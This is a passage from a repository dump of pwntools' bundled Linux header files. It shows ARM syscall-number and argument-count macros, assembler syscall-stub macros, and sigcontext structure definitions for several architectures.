__NR_readlinkat\t\t\t(__NR_SYSCALL_BASE+332)\n#define __NR_fchmodat\t\t\t(__NR_SYSCALL_BASE+333)\n#define __NR_faccessat\t\t\t(__NR_SYSCALL_BASE+334)\n\t\t\t\t\t/* 335 for pselect6 */\n\t\t\t\t\t/* 336 for ppoll */\n#define __NR_unshare\t\t\t(__NR_SYSCALL_BASE+337)\n#define __NR_set_robust_list\t\t(__NR_SYSCALL_BASE+338)\n#define __NR_get_robust_list\t\t(__NR_SYSCALL_BASE+339)\n#define __NR_splice\t\t\t(__NR_SYSCALL_BASE+340)\n#define __NR_arm_sync_file_range\t(__NR_SYSCALL_BASE+341)\n#define __NR_tee\t\t\t(__NR_SYSCALL_BASE+342)\n#define __NR_vmsplice\t\t\t(__NR_SYSCALL_BASE+343)\n#define __NR_move_pages\t\t\t(__NR_SYSCALL_BASE+344)\n#define __NR_getcpu\t\t\t(__NR_SYSCALL_BASE+345)\n\t\t\t\t\t/* 346 for epoll_pwait */\n#define __NR_kexec_load\t\t\t(__NR_SYSCALL_BASE+347)\n#define __NR_utimensat\t\t\t(__NR_SYSCALL_BASE+348)\n#define __NR_signalfd\t\t\t(__NR_SYSCALL_BASE+349)\n#define __NR_timerfd\t\t\t(__NR_SYSCALL_BASE+350)\n#define __NR_eventfd\t\t\t(__NR_SYSCALL_BASE+351)\n#define __NR_fallocate\t\t\t(__NR_SYSCALL_BASE+352)\n#define __NR_timerfd_settime\t\t(__NR_SYSCALL_BASE+353)\n#define __NR_timerfd_gettime\t\t(__NR_SYSCALL_BASE+354)\n#define __NR_signalfd4\t\t\t(__NR_SYSCALL_BASE+355)\n#define __NR_eventfd2\t\t\t(__NR_SYSCALL_BASE+356)\n#define __NR_epoll_create1\t\t(__NR_SYSCALL_BASE+357)\n#define __NR_dup3\t\t\t(__NR_SYSCALL_BASE+358)\n#define __NR_pipe2\t\t\t(__NR_SYSCALL_BASE+359)\n#define __NR_inotify_init1\t\t(__NR_SYSCALL_BASE+360)\n#define __NR_preadv\t\t\t(__NR_SYSCALL_BASE+361)\n#define __NR_pwritev\t\t\t(__NR_SYSCALL_BASE+362)\n#define __NR_rt_tgsigqueueinfo\t\t(__NR_SYSCALL_BASE+363)\n#define __NR_perf_event_open\t\t(__NR_SYSCALL_BASE+364)\n#define __NR_recvmmsg\t\t\t(__NR_SYSCALL_BASE+365)\n#define __NR_accept4\t\t\t(__NR_SYSCALL_BASE+366)\n#define __NR_fanotify_init\t\t(__NR_SYSCALL_BASE+367)\n#define __NR_fanotify_mark\t\t(__NR_SYSCALL_BASE+368)\n#define __NR_prlimit64\t\t\t(__NR_SYSCALL_BASE+369)\n#define __NR_name_to_handle_at\t\t(__NR_SYSCALL_BASE+370)\n#define __NR_open_by_handle_at\t\t(__NR_SYSCALL_BASE+371)\n#define __NR_clock_adjtime\t\t(__NR_SYSCALL_BASE+372)\n#define __NR_syncfs\t\t\t(__NR_SYSCALL_BASE+373)\n#define __NR_sendmmsg\t\t\t(__NR_SYSCALL_BASE+374)\n#define __NR_setns\t\t\t(__NR_SYSCALL_BASE+375)\n#define __NR_process_vm_readv\t\t(__NR_SYSCALL_BASE+376)\n#define __NR_process_vm_writev\t\t(__NR_SYSCALL_BASE+377)\n#define __NR_kcmp\t\t\t(__NR_SYSCALL_BASE+378)\n#define __NR_finit_module\t\t(__NR_SYSCALL_BASE+379)\n#define __NR_sched_setattr\t\t(__NR_SYSCALL_BASE+380)\n#define __NR_sched_getattr\t\t(__NR_SYSCALL_BASE+381)\n#define __NR_renameat2\t\t\t(__NR_SYSCALL_BASE+382)\n#define __NR_seccomp\t\t\t(__NR_SYSCALL_BASE+383)\n#define __NR_getrandom\t\t\t(__NR_SYSCALL_BASE+384)\n#define __NR_memfd_create\t\t(__NR_SYSCALL_BASE+385)\n#define __NR_bpf\t\t\t(__NR_SYSCALL_BASE+386)\n#define __NR_execveat\t\t\t(__NR_SYSCALL_BASE+387)\n#define __NR_userfaultfd\t\t(__NR_SYSCALL_BASE+388)\n#define __NR_membarrier\t\t\t(__NR_SYSCALL_BASE+389)\n#define __NR_mlock2\t\t\t(__NR_SYSCALL_BASE+390)\n#define __NR_copy_file_range\t\t(__NR_SYSCALL_BASE+391)\n#define __NR_preadv2\t\t\t(__NR_SYSCALL_BASE+392)\n#define __NR_pwritev2\t\t\t(__NR_SYSCALL_BASE+393)\n#define __NR_pkey_mprotect (__NR_SYSCALL_BASE + 394)\n#define __NR_pkey_alloc (__NR_SYSCALL_BASE + 395)\n#define __NR_pkey_free (__NR_SYSCALL_BASE + 396)\n#define __NR_statx (__NR_SYSCALL_BASE + 397)\n#define __NR_rseq (__NR_SYSCALL_BASE + 398)\n#define __NR_io_pgetevents (__NR_SYSCALL_BASE + 399)\n#define __NR_migrate_pages (__NR_SYSCALL_BASE + 400)\n#define __NR_kexec_file_load (__NR_SYSCALL_BASE + 401)\n#define __NR_clock_gettime64 (__NR_SYSCALL_BASE + 403)\n#define __NR_clock_settime64 (__NR_SYSCALL_BASE + 404)\n#define __NR_clock_adjtime64 (__NR_SYSCALL_BASE + 405)\n#define __NR_clock_getres_time64 (__NR_SYSCALL_BASE + 406)\n#define __NR_clock_nanosleep_time64 (__NR_SYSCALL_BASE + 407)\n#define __NR_timer_gettime64 (__NR_SYSCALL_BASE + 408)\n#define __NR_timer_settime64 (__NR_SYSCALL_BASE + 409)\n#define __NR_timerfd_gettime64 (__NR_SYSCALL_BASE + 410)\n#define __NR_timerfd_settime64 (__NR_SYSCALL_BASE + 411)\n#define __NR_utimensat_time64 (__NR_SYSCALL_BASE + 412)\n#define __NR_pselect6_time64 (__NR_SYSCALL_BASE + 413)\n#define __NR_ppoll_time64 (__NR_SYSCALL_BASE + 414)\n#define __NR_io_pgetevents_time64 (__NR_SYSCALL_BASE + 416)\n#define __NR_recvmmsg_time64 (__NR_SYSCALL_BASE + 417)\n#define __NR_mq_timedsend_time64 (__NR_SYSCALL_BASE + 418)\n#define __NR_mq_timedreceive_time64 (__NR_SYSCALL_BASE + 419)\n#define __NR_semtimedop_time64 (__NR_SYSCALL_BASE + 420)\n#define __NR_rt_sigtimedwait_time64 (__NR_SYSCALL_BASE + 421)\n#define __NR_futex_time64 (__NR_SYSCALL_BASE + 422)\n#define __NR_sched_rr_get_interval_time64 (__NR_SYSCALL_BASE + 423)\n#define __NR_pidfd_send_signal (__NR_SYSCALL_BASE + 424)\n#define __NR_io_uring_setup (__NR_SYSCALL_BASE + 425)\n#define __NR_io_uring_enter (__NR_SYSCALL_BASE + 426)\n#define __NR_io_uring_register (__NR_SYSCALL_BASE + 427)\n#define __NR_open_tree (__NR_SYSCALL_BASE + 428)\n#define __NR_move_mount (__NR_SYSCALL_BASE + 429)\n#define __NR_fsopen (__NR_SYSCALL_BASE + 430)\n#define __NR_fsconfig (__NR_SYSCALL_BASE + 431)\n#define __NR_fsmount (__NR_SYSCALL_BASE + 432)\n#define __NR_fspick (__NR_SYSCALL_BASE + 433)\n#define __NR_pidfd_open (__NR_SYSCALL_BASE + 434)\n#define __NR_clone3 (__NR_SYSCALL_BASE + 435)\n#define __NR_openat2 (__NR_SYSCALL_BASE + 437)\n#define __NR_pidfd_getfd (__NR_SYSCALL_BASE + 438)\n\n/*\n * The following SWIs are ARM private.\n */\n#define __ARM_NR_BASE\t\t\t(__NR_SYSCALL_BASE+0x0f0000)\n#define __ARM_NR_breakpoint\t\t(__ARM_NR_BASE+1)\n#define __ARM_NR_cacheflush\t\t(__ARM_NR_BASE+2)\n#define __ARM_NR_usr26\t\t\t(__ARM_NR_BASE+3)\n#define __ARM_NR_usr32\t\t\t(__ARM_NR_BASE+4)\n#define __ARM_NR_set_tls\t\t(__ARM_NR_BASE+5)\n\n/*\n * The following syscalls are obsolete and no longer available for EABI.\n */\n#if defined(__ARM_EABI__) && !defined(__KERNEL__)\n#undef __NR_time\n#undef __NR_umount\n#undef __NR_stime\n#undef __NR_alarm\n#undef __NR_utime\n#undef __NR_getrlimit\n#undef __NR_select\n#undef __NR_readdir\n#undef __NR_mmap\n#undef __NR_socketcall\n#undef __NR_syscall\n#undef __NR_ipc\n#endif\n\n\n/* ok the next few values are for the optimization of the unified syscalls\n * on arm.\n * If the syscall has #arguments\n *\t<=4 set to 0\n *\t >4 set to 1\n *\n * Since the majority of the syscalls need <=4 arguments this saves a lot\n * of byte (12 per syscall) and cycles (~16)\n */\n#define __ARGS_exit\t\t\t0\n#define __ARGS_fork\t\t\t0\n#define __ARGS_read\t\t\t0\n#define __ARGS_write\t\t\t0\n#define __ARGS_open\t\t\t0\n#define __ARGS_close\t\t\t0\n#define __ARGS_waitpid\t\t\t0\n#define __ARGS_creat\t\t\t0\n#define __ARGS_link\t\t\t0\n#define __ARGS_unlink\t\t\t0\n#define __ARGS_execve\t\t\t0\n#define __ARGS_chdir\t\t\t0\n#define __ARGS_time\t\t\t0\n#define __ARGS_mknod\t\t\t0\n#define __ARGS_chmod\t\t\t0\n#define __ARGS_lchown\t\t\t0\n#define __ARGS_break\t\t\t0\n\n#define __ARGS_lseek\t\t\t0\n#define __ARGS_getpid\t\t\t0\n#define __ARGS_mount\t\t\t1\n#define __ARGS_umount\t\t\t0\n#define __ARGS_setuid\t\t\t0\n#define __ARGS_getuid\t\t\t0\n#define __ARGS_stime\t\t\t0\n#define __ARGS_ptrace\t\t\t0\n#define __ARGS_alarm\t\t\t0\n\n#define __ARGS_pause\t\t\t0\n#define __ARGS_utime\t\t\t0\n#define __ARGS_stty\t\t\t0\n#define __ARGS_gtty\t\t\t0\n#define __ARGS_access\t\t\t0\n#define __ARGS_nice\t\t\t0\n#define __ARGS_ftime\t\t\t0\n#define __ARGS_sync\t\t\t0\n#define __ARGS_kill\t\t\t0\n#define __ARGS_rename\t\t\t0\n#define __ARGS_mkdir\t\t\t0\n#define __ARGS_rmdir\t\t\t0\n#define __ARGS_dup\t\t\t0\n#define __ARGS_pipe\t\t\t0\n#define __ARGS_times\t\t\t0\n#define __ARGS_prof\t\t\t0\n#define __ARGS_brk\t\t\t0\n#define __ARGS_setgid\t\t\t0\n#define __ARGS_getgid\t\t\t0\n#define __ARGS_signal\t\t\t0\n#define __ARGS_geteuid\t\t\t0\n#define __ARGS_getegid\t\t\t0\n#define __ARGS_acct\t\t\t0\n#define __ARGS_umount2\t\t\t0\n#define __ARGS_lock\t\t\t0\n#define __ARGS_ioctl\t\t\t0\n#define __ARGS_fcntl\t\t\t0\n#define __ARGS_mpx\t\t\t0\n#define __ARGS_setpgid\t\t\t0\n#define __ARGS_ulimit\t\t\t0\n\n#define __ARGS_umask\t\t\t0\n#define __ARGS_chroot\t\t\t0\n#define __ARGS_ustat\t\t\t0\n#define __ARGS_dup2\t\t\t0\n#define __ARGS_getppid\t\t\t0\n#define __ARGS_getpgrp\t\t\t0\n#define __ARGS_setsid\t\t\t0\n#define __ARGS_sigaction\t\t0\n#define __ARGS_sgetmask\t\t\t0\n#define __ARGS_ssetmask\t\t\t0\n#define __ARGS_setreuid\t\t\t0\n#define __ARGS_setregid\t\t\t0\n#define __ARGS_sigsuspend\t\t0\n#define __ARGS_sigpending\t\t0\n#define __ARGS_sethostname\t\t0\n#define __ARGS_setrlimit\t\t0\n#define __ARGS_getrlimit\t\t0\n#define __ARGS_getrusage\t\t0\n#define __ARGS_gettimeofday\t\t0\n#define __ARGS_settimeofday\t\t0\n#define __ARGS_getgroups\t\t0\n#define __ARGS_setgroups\t\t0\n#define __ARGS_select\t\t\t0\n#define __ARGS_symlink\t\t\t0\n\n#define __ARGS_readlink\t\t\t0\n#define __ARGS_uselib\t\t\t0\n#define __ARGS_swapon\t\t\t0\n#define __ARGS_reboot\t\t\t0\n#define __ARGS_readdir\t\t\t0\n#define __ARGS_mmap\t\t\t0\t/* this is NOT 1 !!! (special case) */\n#define __ARGS_munmap\t\t\t0\n#define __ARGS_truncate\t\t\t0\n#define __ARGS_ftruncate\t\t0\n#define __ARGS_fchmod\t\t\t0\n#define __ARGS_fchown\t\t\t0\n#define __ARGS_getpriority\t\t0\n#define __ARGS_setpriority\t\t0\n#define __ARGS_profil\t\t\t0\n#define __ARGS_statfs\t\t\t0\n#define __ARGS_fstatfs\t\t\t0\n#define __ARGS_ioperm\t\t\t0\n#define __ARGS_socketcall\t\t0\n#define __ARGS_syslog\t\t\t0\n#define __ARGS_setitimer\t\t0\n#define __ARGS_getitimer\t\t0\n#define __ARGS_stat\t\t\t0\n#define __ARGS_lstat\t\t\t0\n#define __ARGS_fstat\t\t\t0\n\n\n#define __ARGS_vhangup\t\t\t0\n#define __ARGS_idle\t\t\t0\n#define __ARGS_syscall\t\t\t0\n#define __ARGS_wait4\t\t\t0\n#define __ARGS_swapoff\t\t\t0\n#define __ARGS_sysinfo\t\t\t0\n#define __ARGS_ipc\t\t\t1\n#define __ARGS_fsync\t\t\t0\n#define __ARGS_sigreturn\t\t0\n#define __ARGS_clone\t\t\t0\n#define __ARGS_setdomainname\t\t0\n#define __ARGS_uname\t\t\t0\n#define __ARGS_modify_ldt\t\t0\n#define __ARGS_adjtimex\t\t\t0\n#define __ARGS_mprotect\t\t\t0\n#define __ARGS_sigprocmask\t\t0\n#define __ARGS_create_module\t\t0\n#define __ARGS_init_module\t\t0\n#define __ARGS_delete_module\t\t0\n#define __ARGS_get_kernel_syms\t\t0\n#define __ARGS_quotactl\t\t\t0\n#define __ARGS_getpgid\t\t\t0\n#define __ARGS_fchdir\t\t\t0\n#define __ARGS_bdflush\t\t\t0\n#define __ARGS_sysfs\t\t\t0\n#define __ARGS_personality\t\t0\n#define __ARGS_afs_syscall\t\t0\n#define __ARGS_setfsuid\t\t\t0\n#define __ARGS_setfsgid\t\t\t0\n#define __ARGS__llseek\t\t\t1\n#define __ARGS_getdents\t\t\t0\n#define __ARGS__newselect\t\t1\n#define __ARGS_flock\t\t\t0\n#define __ARGS_msync\t\t\t0\n#define __ARGS_readv\t\t\t0\n#define __ARGS_writev\t\t\t0\n#define __ARGS_getsid\t\t\t0\n#define __ARGS_fdatasync\t\t0\n#define __ARGS__sysctl\t\t\t0\n#define __ARGS_mlock\t\t\t0\n#define __ARGS_munlock\t\t\t0\n#define __ARGS_mlockall\t\t\t0\n#define __ARGS_munlockall\t\t0\n#define __ARGS_sched_setparam\t\t0\n#define __ARGS_sched_getparam\t\t0\n#define __ARGS_sched_setscheduler\t0\n#define __ARGS_sched_getscheduler\t0\n#define __ARGS_sched_yield\t\t0\n#define __ARGS_sched_get_priority_max\t0\n#define __ARGS_sched_get_priority_min\t0\n#define __ARGS_sched_rr_get_interval\t0\n#define __ARGS_nanosleep\t\t0\n#define __ARGS_mremap\t\t\t0\n#define __ARGS_setresuid\t\t0\n#define __ARGS_getresuid\t\t0\n#define __ARGS_vm86\t\t\t0\n#define __ARGS_query_module\t\t1\n#define __ARGS_poll\t\t\t0\n#define __ARGS_nfsservctl\t\t0\n#define __ARGS_setresgid\t\t0\n#define __ARGS_getresgid\t\t0\n#define __ARGS_prctl\t\t\t1\n#define __ARGS_rt_sigreturn\t\t0\n#define __ARGS_rt_sigaction\t\t0\n#define __ARGS_rt_sigprocmask\t\t0\n#define __ARGS_rt_sigpending\t\t0\n#define __ARGS_rt_sigtimedwait\t\t0\n#define __ARGS_rt_sigqueueinfo\t\t0\n#define __ARGS_rt_sigsuspend\t\t0\n#define __ARGS_pread\t\t\t0\n#define __ARGS_pwrite\t\t\t0\n#define __ARGS_pread64\t\t\t0\n#define __ARGS_pwrite64\t\t\t0\n#define __ARGS_chown\t\t\t0\n#define __ARGS_getcwd\t\t\t0\n#define __ARGS_capget\t\t\t0\n#define __ARGS_capset\t\t\t0\n#define __ARGS_sigaltstack\t\t0\n#define __ARGS_sendfile\t\t\t0\n\n#define __ARGS_vfork\t\t\t0\n#define __ARGS_ugetrlimit\t\t0\n#define __ARGS_mmap2\t\t\t1\n#define __ARGS_truncate64\t\t0\n#define __ARGS_ftruncate64\t\t0\n#define __ARGS_stat64\t\t\t0\n#define __ARGS_lstat64\t\t\t0\n#define __ARGS_fstat64\t\t\t0\n#define __ARGS_lchown32\t\t\t0\n#define __ARGS_getuid32\t\t\t0\n#define __ARGS_getgid32\t\t\t0\n#define __ARGS_geteuid32\t\t0\n#define __ARGS_getegid32\t\t0\n#define __ARGS_setreuid32\t\t0\n#define __ARGS_setregid32\t\t0\n#define __ARGS_getgroups32\t\t0\n#define __ARGS_setgroups32\t\t0\n#define __ARGS_fchown32\t\t\t0\n#define __ARGS_setresuid32\t\t0\n#define __ARGS_getresuid32\t\t0\n#define __ARGS_setresgid32\t\t0\n#define __ARGS_getresgid32\t\t0\n#define __ARGS_chown32\t\t\t0\n#define __ARGS_setuid32\t\t\t0\n#define __ARGS_setgid32\t\t\t0\n#define __ARGS_setfsuid32\t\t0\n#define __ARGS_setfsgid32\t\t0\n#define __ARGS_getdents64\t\t0\n#define __ARGS_pivot_root\t\t0\n#define __ARGS_mincore\t\t\t0\n#define __ARGS_madvise\t\t\t0\n#define __ARGS_fcntl64\t\t\t0\n\n#define __ARGS_security\t\t\t0\n#define __ARGS_gettid\t\t\t0\n#define __ARGS_readahead\t\t0\n#define __ARGS_setxattr\t\t\t1\n#define __ARGS_lsetxattr\t\t1\n#define __ARGS_fsetxattr\t\t1\n#define __ARGS_getxattr\t\t\t0\n#define __ARGS_lgetxattr\t\t0\n#define __ARGS_fgetxattr\t\t0\n#define __ARGS_listxattr\t\t0\n#define __ARGS_llistxattr\t\t0\n#define __ARGS_flistxattr\t\t0\n#define __ARGS_removexattr\t\t0\n#define __ARGS_lremovexattr\t\t0\n#define __ARGS_fremovexattr\t\t0\n#define __ARGS_tkill\t\t\t0\n\n#define __ARGS_sendfile64\t\t0\n#define __ARGS_futex\t\t\t0\n#define __ARGS_sched_setaffinity\t0\n#define __ARGS_sched_getaffinity\t0\n#define __ARGS_io_setup\t\t\t0\n#define __ARGS_io_destroy\t\t0\n#define __ARGS_io_getevents\t\t0\n#define __ARGS_io_submit\t\t0\n#define __ARGS_io_cancel\t\t0\n#define __ARGS_exit_group\t\t0\n#define __ARGS_lookup_dcookie\t\t0\n#define __ARGS_epoll_create\t\t0\n#define __ARGS_epoll_ctl\t\t0\n#define __ARGS_epoll_wait\t\t0\n#define __ARGS_remap_file_pages\t\t0\n#define __ARGS_set_thread_area\t\t0\n#define __ARGS_get_thread_area\t\t0\n#define __ARGS_set_tid_address\t\t0\n\n#define __ARGS_timer_create\t\t0\n#define __ARGS_timer_settime\t\t0\n#define __ARGS_timer_gettime\t\t0\n#define __ARGS_timer_getoverrun\t\t0\n#define __ARGS_timer_delete\t\t0\n#define __ARGS_clock_settime\t\t0\n#define __ARGS_clock_gettime\t\t0\n#define __ARGS_clock_getres\t\t0\n#define __ARGS_clock_nanosleep\t\t0\n#define __ARGS_statfs64\t\t\t0\n#define __ARGS_fstatfs64\t\t0\n#define __ARGS_tgkill\t\t\t0\n#define __ARGS_utimes\t\t\t0\n#define __ARGS_arm_fadvise64_64\t\t1\n\n#define __ARGS_fadvise64\t\t0\n#define __ARGS_fadvise64_64\t\t0\n#define __ARGS_pciconfig_iobase\t\t0\n#define __ARGS_pciconfig_read\t\t1\n#define __ARGS_pciconfig_write\t\t1\n#define __ARGS_mq_open\t\t\t0\n#define __ARGS_mq_unlink\t\t0\n#define __ARGS_mq_timedsend\t\t0\n#define __ARGS_mq_timedreceive\t\t1\n#define __ARGS_mq_notify\t\t0\n#define __ARGS_mq_getsetattr\t\t0\n#define __ARGS_waitid\t\t\t0\n\n#define __ARGS_socket\t\t\t0\n#define __ARGS_bind\t\t\t0\n#define __ARGS_connect\t\t\t0\n#define __ARGS_listen\t\t\t0\n#define __ARGS_accept\t\t\t0\n#define __ARGS_getsockname\t\t0\n#define __ARGS_getpeername\t\t0\n#define __ARGS_socketpair\t\t0\n#define __ARGS_send\t\t\t0\n#define __ARGS_sendto\t\t\t1\n#define __ARGS_recv\t\t\t0\n#define __ARGS_recvfrom\t\t\t1\n#define __ARGS_shutdown\t\t\t0\n#define __ARGS_setsockopt\t\t0\n#define __ARGS_getsockopt\t\t0\n#define __ARGS_sendmsg\t\t\t0\n#define __ARGS_recvmsg\t\t\t0\n#define __ARGS_semop\t\t\t0\n#define __ARGS_semget\t\t\t0\n#define __ARGS_semctl\t\t\t0\n#define __ARGS_msgsnd\t\t\t0\n#define __ARGS_msgrcv\t\t\t0\n#define __ARGS_msgget\t\t\t0\n#define __ARGS_msgctl\t\t\t0\n#define __ARGS_shmat\t\t\t0\n#define __ARGS_shmdt\t\t\t0\n#define __ARGS_shmget\t\t\t0\n#define __ARGS_shmctl\t\t\t0\n\n#define __ARGS_add_key\t\t\t1\n#define __ARGS_request_key\t\t1\n#define __ARGS_keyctl\t\t\t0\n#define __ARGS_vserver\t\t\t0\n#define __ARGS_ioprio_set\t\t0\n#define __ARGS_ioprio_get\t\t0\n#define __ARGS_inotify_init\t\t0\n#define __ARGS_inotify_add_watch\t0\n#define __ARGS_inotify_rm_watch\t\t0\n#define __ARGS_mbind\t\t\t1\n#define __ARGS_get_mempolicy\t\t1\n#define __ARGS_set_mempolicy\t\t1\n\n#define __ARGS_openat\t\t\t0\n#define __ARGS_mkdirat\t\t\t0\n#define __ARGS_mknodat\t\t\t0\n#define __ARGS_fchownat\t\t\t1\n#define __ARGS_futimesat\t\t0\n#define __ARGS_fstatat64\t\t0\n#define __ARGS_unlinkat\t\t\t0\n#define __ARGS_renameat\t\t\t0\n#define __ARGS_linkat\t\t\t1\n#define __ARGS_symlinkat\t\t0\n#define __ARGS_readlinkat\t\t0\n#define __ARGS_fchmodat\t\t\t0\n#define __ARGS_faccessat\t\t0\n\t\t\t\t\t/* 335 for pselect6 */\n\t\t\t\t\t/* 336 for ppoll */\n#define __ARGS_unshare\t\t\t0\n#define __ARGS_set_robust_list\t\t0\n#define __ARGS_get_robust_list\t\t0\n#define __ARGS_splice\t\t\t1\n#define __ARGS_arm_sync_file_range\t0\n#define __ARGS_sync_file_range2\t\t0\n#define __ARGS_tee\t\t\t0\n#define __ARGS_vmsplice\t\t\t0\n#define __ARGS_move_pages\t\t1\n#define __ARGS_getcpu\t\t\t0\n\t\t\t\t\t/* 346 for epoll_pwait */\n#define __ARGS_kexec_load\t\t0\n#define __ARGS_utimensat\t\t0\n#define __ARGS_signalfd\t\t\t0\n#define __ARGS_timerfd\t\t\t0\n#define __ARGS_eventfd\t\t\t0\n#define __ARGS_fallocate\t\t0\n#define __ARGS_timerfd_settime\t\t0\n#define __ARGS_timerfd_gettime\t\t0\n\n#define __ARGS_signalfd4\t\t0\n#define __ARGS_eventfd2\t\t\t0\n#define __ARGS_epoll_create1\t\t0\n#define __ARGS_dup3\t\t\t0\n#define __ARGS_pipe2\t\t\t0\n#define __ARGS_inotify_init1\t\t0\n#define __ARGS_preadv\t\t\t0\n#define __ARGS_pwritev\t\t\t0\n#define __ARGS_rt_tgsigqueueinfo\t0\n#define __ARGS_perf_event_open\t\t1\n#define __ARGS_recvmmsg\t\t\t1\n#define __ARGS_accept4\t\t\t0\n#define __ARGS_fanotify_init\t\t0\n#define __ARGS_fanotify_mark\t\t1\n#define __ARGS_prlimit64\t\t0\n#define __ARGS_name_to_handle_at\t1\n#define __ARGS_open_by_handle_at\t0\n#define __ARGS_clock_adjtime\t\t0\n#define __ARGS_syncfs\t\t\t0\n#define __ARGS_sendmmsg\t\t\t0\n#define __ARGS_setns\t\t\t0\n#define __ARGS_process_vm_readv\t\t1\n#define __ARGS_process_vm_writev\t1\n#define __ARGS_kcmp\t\t\t1\n#define __ARGS_finit_module\t\t0\n\n\n#ifdef __ASSEMBLER__\n\n#include \"arm-features.h\"\n\n#define syscall_weak(name,wsym,sym) __syscall_weak __NR_##name, wsym, sym, __ARGS_##name\n.macro __syscall_weak name wsym sym typ\nFUNC_START_WEAK\t\\wsym\n__syscall\t\\name, \\sym, \\typ\nFUNC_END\t\\wsym\n.endm\n\n#ifdef __ARM_EABI__\n\n#define syscall(name,sym) __syscall __NR_##name, sym, __ARGS_##name\n.macro __syscall name sym typ\nFUNC_START\t\\sym\n        ldr     ip, =\\name\n\tb\t__unified_syscall_swi\nFUNC_END\t\\sym\n.endm\n\n#else\n\n#define syscall(name,sym) __syscall $__NR_##name, sym, __ARGS_##name\n.macro __syscall name sym typ\nFUNC_START\t\\sym\n.ifgt \\typ\n\tmov\tip, sp\n\tstmfd\tsp!,{r4, r5, r6}\n\tldmia\tip, {r4, r5, r6}\n.endif\n\tswi\t\\name\n.ifgt \\typ\n\tb\t__unified_syscall4\n.else\n\tb\t__unified_syscall\n.endif\nFUNC_END\t\\sym\n.endm\n\n#endif\n#endif\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/asm/aarch64-sigcontext.h",
    "content": "struct sigcontext {\n\tunsigned long fault_address;\n\t/* AArch64 registers */\n\tunsigned long regs[31];\n\tunsigned long sp;\n\tunsigned long pc;\n\tunsigned long pstate;\n\t/* 4K reserved for FP/SIMD state and future expansion */\n\tunsigned char __reserved[4096] __attribute__((__aligned__(16)));\n};\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/asm/alpha-sigcontext.h",
    "content": "struct sigcontext {\n\t/*\n\t * What should we have here? I'd probably better use the same\n\t * stack layout as OSF/1, just in case we ever want to try\n\t * running their binaries..\n\t *\n\t * This is the basic layout, but I don't know if we'll ever\n\t * actually fill in all the values..\n\t */\n\t long\t\tsc_onstack;\n\t long\t\tsc_mask;\n\t long\t\tsc_pc;\n\t long\t\tsc_ps;\n\t long\t\tsc_regs[32];\n\t long\t\tsc_ownedfp;\n\t long\t\tsc_fpregs[32];\n\t unsigned long\tsc_fpcr;\n\t unsigned long\tsc_fp_control;\n\t unsigned long\tsc_reserved1, sc_reserved2;\n\t unsigned long\tsc_ssize;\n\t char *\t\tsc_sbase;\n\t unsigned long\tsc_traparg_a0;\n\t unsigned long\tsc_traparg_a1;\n\t unsigned long\tsc_traparg_a2;\n\t unsigned long\tsc_fp_trap_pc;\n\t unsigned long\tsc_fp_trigger_sum;\n\t unsigned long\tsc_fp_trigger_inst;\n};\n\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/asm/arm-sigcontext.h",
    "content": "\n#define PC(ctx) (ctx.arm_pc)\n\n/*\n * Signal context structure - contains all info to do with the state\n * before the signal handler was invoked.  Note: only add new entries\n * to the end of the structure.\n */\nstruct sigcontext {\n\tunsigned long trap_no;\n\tunsigned long error_code;\n\tunsigned long oldmask;\n\tunsigned long arm_r0;\n\tunsigned long arm_r1;\n\tunsigned long arm_r2;\n\tunsigned long arm_r3;\n\tunsigned long arm_r4;\n\tunsigned long arm_r5;\n\tunsigned long arm_r6;\n\tunsigned long arm_r7;\n\tunsigned long arm_r8;\n\tunsigned long arm_r9;\n\tunsigned long arm_r10;\n\tunsigned long arm_fp;\n\tunsigned long arm_ip;\n\tunsigned long arm_sp;\n\tunsigned long arm_lr;\n\tunsigned long arm_pc;\n\tunsigned long arm_cpsr;\n\tunsigned long fault_address;\n};\n\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/asm/i386-sigcontext.h",
    "content": "#include <asm/types.h>\n\nstruct _fpreg {\n\t__u16          significand[4];\n\t__u16          exponent;\n};\n\nstruct _fpxreg {\n\t__u16          significand[4];\n\t__u16          exponent;\n\t__u16          padding[3];\n};\n\nstruct _xmmreg {\n\tunsigned long element[4];\n};\n\nstruct _fpstate {\n\t/* Regular FPU environment */\n\tunsigned long \tcw;\n\tunsigned long\tsw;\n\tunsigned long\ttag;\n\tunsigned long\tipoff;\n\tunsigned long\tcssel;\n\tunsigned long\tdataoff;\n\tunsigned long\tdatasel;\n\tstruct _fpreg\t_st[8];\n\t__u16         \tstatus;\n\t__u16         \tmagic;\t\t/* 0xffff = regular FPU data only */\n\n\t/* FXSR FPU environment */\n\tunsigned long\t_fxsr_env[6];\t/* FXSR FPU env is ignored */\n\tunsigned long\tmxcsr;\n\tunsigned long\treserved;\n\tstruct _fpxreg\t_fxsr_st[8];\t/* FXSR FPU reg data is ignored */\n\tstruct _xmmreg\t_xmm[8];\n\tunsigned long\tpadding[56];\n};\n\n#define X86_FXSR_MAGIC\t\t0x0000\n#define PC(ctx) (ctx.eip)\n\nstruct sigcontext {\n\t__u16         gs, __gsh;\n\t__u16         fs, __fsh;\n\t__u16         es, __esh;\n\t__u16         ds, __dsh;\n\tunsigned long edi;\n\tunsigned long esi;\n\tunsigned long ebp;\n\tunsigned long esp;\n\tunsigned long ebx;\n\tunsigned long edx;\n\tunsigned long ecx;\n\tunsigned long eax;\n\tunsigned long trapno;\n\tunsigned long err;\n\tunsigned long eip;\n\t__u16         cs, __csh;\n\tunsigned long eflags;\n\tunsigned long esp_at_signal;\n\t__u16         ss, __ssh;\n\tstruct _fpstate * fpstate;\n\tunsigned long oldmask;\n\tunsigned long cr2;\n};\n\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/asm/ia64-sigcontext.h",
